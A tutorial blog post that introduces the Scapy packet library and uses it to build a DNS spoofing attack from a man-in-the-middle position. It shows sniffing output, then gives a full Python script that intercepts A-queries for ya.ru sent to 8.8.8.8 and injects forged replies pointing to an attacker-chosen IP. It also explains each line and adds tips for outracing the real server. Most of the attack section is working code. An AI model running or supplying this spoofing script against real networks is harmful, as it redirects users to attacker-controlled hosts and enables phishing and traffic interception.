This post is a starting point for the series of posts about Scapy - powerful tool written in python for packet crafting, sniffing and a lot more. It can be used in various combinations and literally could do anything.
Getting scapy
I won't talk much here. You can get scapy via pip, apt, from sources, etc. Installation process is covered all over the Internet.
apt-get install python-scapyor
pip install scapyor you may want to install scapy compatible with python3
pip install scapy-python3
Goal
Imagine, you have already acquired MITM status and you are somehow standing between user and the Internet. Scheme like this, for instance:
Goals are the following:
- Intercept user request to google DNS 8.8.8.8 trying to resolve ya.ru (A-query, of course).
- Send the spoofed response
Solution
We will use Scapy and python to do this.
How scapy sees packets
Run scapy from console:
Explanation:
Sniff the traffic (no explanation needed, I guess):
Let's have a look at functions and get an explanation line by line:
# scapy >>>Now we'll do some sniffing:
>>> sniff(iface="eth4", filter="host 8.8.8.8", count=10, prn=lambda(x): x.show())
Explanation:
- iface - interface we are trying to sniff some packets
- filter - pcap-like filter
- count - after catching this amount of packets - stop sniffing
- prn - function, that will be executed for each sniffed packet. In our case, we are calling method show().
Here is what we get:
###[ Ethernet ]###
dst= 00:a7:67:c3:5e:27
src= f0:de:f1:ab:6a:c5
type= 0x800
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 51
id= 17360
flags=
frag= 0L
ttl= 64
proto= udp
chksum= 0x2026
src= 192.168.70.12
dst= 8.8.8.8
\options\
###[ UDP ]###
sport= 49034
dport= domain
len= 31
chksum= 0x16f5
###[ DNS ]###
id= 29196
qr= 0L
opcode= QUERY
aa= 0L
tc= 0L
rd= 1L
ra= 0L
z= 0L
ad= 0L
cd= 0L
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd\
|###[ DNS Question Record ]###
| qname= 'ya.ru.'
| qtype= A
| qclass= IN
an= None
ns= None
ar= None
###[ Ethernet ]###
dst= f0:de:f1:ab:6a:c5
src= 00:a7:67:c3:5e:27
type= 0x800
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 99
id= 50329
flags=
frag= 0L
ttl= 57
proto= udp
chksum= 0xa62c
src= 8.8.8.8
dst= 192.168.70.12
\options\
###[ UDP ]###
sport= domain
dport= 49034
len= 79
chksum= 0x99c
###[ DNS ]###
id= 29196
qr= 1L
opcode= QUERY
aa= 0L
tc= 0L
rd= 1L
ra= 1L
z= 0L
ad= 0L
cd= 0L
rcode= ok
qdcount= 1
ancount= 3
nscount= 0
arcount= 0
\qd\
|###[ DNS Question Record ]###
| qname= 'ya.ru.'
| qtype= A
| qclass= IN
\an\
|###[ DNS Resource Record ]###
| rrname= 'ya.ru.'
| type= A
| rclass= IN
| ttl= 7000
| rdlen= 4
| rdata= '213.180.204.3'
|###[ DNS Resource Record ]###
| rrname= 'ya.ru.'
| type= A
| rclass= IN
| ttl= 7000
| rdlen= 4
| rdata= '93.158.134.3'
|###[ DNS Resource Record ]###
| rrname= 'ya.ru.'
| type= A
| rclass= IN
| ttl= 7000
| rdlen= 4
| rdata= '213.180.193.3'
ns= None
ar= None
That is how scapy sees the packets. Each part of the packet could be easily reached and modified. For instance, we need to print just IDs of DNS queries and responses. Instead of x.show() we'll do:>>> sniff(iface="eth4", filter="host 8.8.8.8", count=10, prn=lambda(x): x[DNS].id) 29196 29196
Let's start
Some initialization:
#!/usr/bin/env python from scapy.all import * iface = "eth0" spoofed_ip = "10.0.0.2" # IP, we'd like the client to go to after spoofing dns_server_ip = "8.8.8.8" # DNS server domain_to_spoof = 'ya.ru.' # domain name to spoof qtype_to_spoof = 1 # A - query DEBUG=0 # disable or enable debug
Sniff the traffic (no explanation needed, I guess):
sniff(prn=dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof),\ iface=iface, filter="dst host %s and port 53" % dns_server_ip, count=10)
Let's have a look at functions and get an explanation line by line:
def dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof):
global DEBUG
def craft_dns(dst_ip, src_ip, dport, tid, qname):
# ip
ip = IP(src=src_ip, dst=dst_ip)
# udp
transport = UDP(sport=53, dport=int(dport))
# dns
dns = DNS(id=tid, qr=1, ancount=1,an=DNSRR(rrname=qname, rdata=spoofed_ip, ttl=3600))
spoofed_pkt = ip/transport/dns
if DEBUG: spoofed_pkt.show()
return spoofed_pkt
def get_packet(pkt):
if not DNS in pkt:
return False
if DEBUG: pkt.show()
# get src ip
src_ip = pkt[IP].src
# get dst ip
dst_ip = pkt[IP].dst
# get source port
sport = pkt[UDP].sport
# get tid
tid = pkt[DNS].id
# get query type
qtype = pkt[DNS].qd.qtype
# get qname
qname = pkt[DNS].qd.qname
if qtype == qtype_to_spoof and qname == domain_to_spoof:
print("Sniffed the packet. Spoofing.")
packet = craft_dns(src_ip, dst_ip, sport, tid, qname)
send(packet)
print("Packet sent")
return get_packet
01: init our dns_mitm function with some parameters
Let's jump to line 20 and function get_packet.
As an argument, we receive a pkt - that is scapy's packet structure. Now we could do anything we like with the sniffed packet.
22: check if it is a DNS packet. It might be not in some weird cases.
25: if DEBUG is set to 1, we would see full sniffed packet
27-43: get some info, that will be used later in our script.
45: check if it is the packet we are looking for
47-48: craft and send the spoofed packet
Let's have a look at our craft_dns function at line 03.
06: create a spoofed IP header. You may noticed, that src and dst IPs are switched.
09: create UDP part: dport == sport from the sniffed packet.
12: DNS
- id from the sniffed request
- ancount =1 - we are sending just one reply structure
- rrname = qname - it is query name from sniffed packet
- rdata - spoofed ip address
- ttl - by default scapy sets ttl = 0
14: finally build spoofed packet
16: show spoofed packet, if debug is enabled
There are few notes anyhow:
1. If you are trying to sniff on some not standard interface (bridge, virtual iface, etc) filter might not work correctly. In that case you could use lfilter. filter uses pcap library, whereas lfilter uses python code. Here is an example with lfilter:
sniff(prn=dns_mitm(spoofed_ip, domain_to_spoof, qtype_to_spoof),\ iface="eth4", count=1000, lfilter = lambda(x): x.haslayer(IP) and x[IP].dst== dns_server_ip and x[UDP].dport == 53
2. The spoofing technique in this post is just an example. It would work only if you are sending replies faster then the DNS server. Also you may consider not forwarding user requests to DNS as long as you are MITM
That would be all, folks.


